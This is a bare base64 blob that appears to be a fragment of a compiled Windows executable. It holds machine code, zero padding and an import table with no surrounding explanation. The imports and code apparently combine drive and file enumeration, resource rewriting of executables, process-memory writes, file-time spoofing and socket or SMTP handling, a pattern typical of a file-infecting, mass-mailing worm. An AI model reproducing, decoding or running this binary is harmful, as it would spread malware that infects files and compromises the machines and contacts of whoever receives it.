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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYiAAACokA APiIAADoiAAAhIgAAMaIAAC2iAAApogAAJKIAAAAAAAAwIUAACiGAADOhQAA3oUAAEqIAAA6iAAA WIgAAB6IAAAOiAAALIgAAOyHAADchwAA/ocAADaEAABMhAAAWoQAAGaEAAB4hAAAhoQAAJSEAACg hAAAtoQAAMKEAADShAAA5IQAAPqEAAAIhQAAHoUAACqFAAA4hQAAQIUAAFCFAABkhQAAeIUAAIiF AACUhQAAqIUAALSFAAC+hgAAroYAAMiHAADuhQAABIYAABSGAADehgAANoYAAEKGAABYhgAAZoYA AHSGAACKhgAAnIYAALCHAAAkhwAAzoYAADiHAADshgAABIcAABaHAACKhwAASocAAGCHAAB4hwAA mocAAAAAAADOgwAAWIMAABqEAAAmhAAA8oMAAASEAAD6gwAA1oMAAOiDAADegwAAxIMAALqDAACw gwAAqIMAAJ6DAACUgwAAioMAAICDAAB2gwAAbIMAAGKDAAAAAAAAAIMAAAAAAAAAAAAADoQAACyB AAD8gQAAAAAAAAAAAAB2iAAAKIAAANSBAAAAAAAAAAAAAByJAAAAgAAAAAAAAAAAAAAAAAAAAAAA AAAAAADYiAAACokAAPiIAADoiAAAhIgAAMaIAAC2iAAApogAAJKIAAAAAAAAwIUAACiGAADOhQAA 3oUAAEqIAAA6iAAAWIgAAB6IAAAOiAAALIgAAOyHAADchwAA/ocAADaEAABMhAAAWoQAAGaEAAB4 hAAAhoQAAJSEAACghAAAtoQAAMKEAADShAAA5IQAAPqEAAAIhQAAHoUAACqFAAA4hQAAQIUAAFCF AABkhQAAeIUAAIiFAACUhQAAqIUAALSFAAC+hgAAroYAAMiHAADuhQAABIYAABSGAADehgAANoYA AEKGAABYhgAAZoYAAHSGAACKhgAAnIYAALCHAAAkhwAAzoYAADiHAADshgAABIcAABaHAACKhwAA SocAAGCHAAB4hwAAmocAAAAAAADOgwAAWIMAABqEAAAmhAAA8oMAAASEAAD6gwAA1oMAAOiDAADe gwAAxIMAALqDAACwgwAAqIMAAJ6DAACUgwAAioMAAICDAAB2gwAAbIMAAGKDAAAAAAAAwQJzdHJu Y3B5AJkCbWVtc2V0AAC6AnN0cmNweQAAvgJzdHJsZW4AAMcCc3RydG9rAACXAm1lbWNweQAAtwJz dHJjaHIAALYCc3RyY2F0AACmAnJhbmQAALgCc3RyY21wAADDAV9zdHJsd3IAvwJzdHJuY2F0ALQC c3JhbmQAXgJmcmVlAACyAnNwcmludGYAkQJtYWxsb2MAAD0CYXRvaQAAxQJzdHJzdHIAAMMCc3Ry cmNocgBNU1ZDUlQuZGxsAAAPAV9pbml0dGVybQCdAF9hZGp1c3RfZmRpdgAA+gBHZXRDdXJyZW50 VGhyZWFkSWQAABsAQ2xvc2VIYW5kbGUA3wJXcml0ZUZpbGUAagJTZXRGaWxlUG9pbnRlcgAANABD cmVhdGVGaWxlQQDeAU1vdmVGaWxlRXhBABgCUmVhZEZpbGUAAGgCU2V0RmlsZUF0dHJpYnV0ZXNB AACQAEZpbmRDbG9zZQCdAEZpbmROZXh0RmlsZUEAlABGaW5kRmlyc3RGaWxlQQAA6QJXcml0ZVBy b2Nlc3NNZW1vcnkAAO8BT3BlblByb2Nlc3MA+ABHZXRDdXJyZW50UHJvY2Vzc0lkAP8CbHN0cmNt cGlBAJoBSGVhcENvbXBhY3QAlgJTbGVlcABtAUdldFRpY2tDb3VudAAAhwJTZXRUaHJlYWRQcmlv cml0eQD5AEdldEN1cnJlbnRUaHJlYWQAAD8AQ3JlYXRlTXV0ZXhBAAACA2xzdHJjcHlBAADOAEdl dENvbXB1dGVyTmFtZUEAAMwBTG9jYWxGcmVlAAgDbHN0cmxlbkEAAMgBTG9jYWxBbGxvYwAASgBD cmVhdGVUaHJlYWQAACUCUmVsZWFzZU11dGV4AADOAldhaXRGb3JTaW5nbGVPYmplY3QABAFHZXRE cml2ZVR5cGVBACABR2V0TG9naWNhbERyaXZlcwAAEgFHZXRGaWxlU2l6ZQAoAENvcHlGaWxlQQAN AUdldEZpbGVBdHRyaWJ1dGVzQQAAbAJTZXRGaWxlVGltZQAUAUdldEZpbGVUaW1lAGQARW5kVXBk YXRlUmVzb3VyY2VBAAC0AlVwZGF0ZVJlc291cmNlQQCVAlNpemVvZlJlc291cmNlAADVAUxvY2tS ZXNvdXJjZQAAxwFMb2FkUmVzb3VyY2UAAKMARmluZFJlc291cmNlQQC0AEZyZWVMaWJyYXJ5AAwA QmVnaW5VcGRhdGVSZXNvdXJjZUEAAMMBTG9hZExpYnJhcnlFeEEAAFcARGVsZXRlRmlsZUEAYwFH ZXRUZW1wRmlsZU5hbWVBAABEAENyZWF0ZVByb2Nlc3NBAAAkAUdldE1vZHVsZUZpbGVOYW1lQQAA 9QBHZXRDdXJyZW50RGlyZWN0b3J5QQAAygBHZXRDb21tYW5kTGluZUEAZQFHZXRUZW1wUGF0aEEA 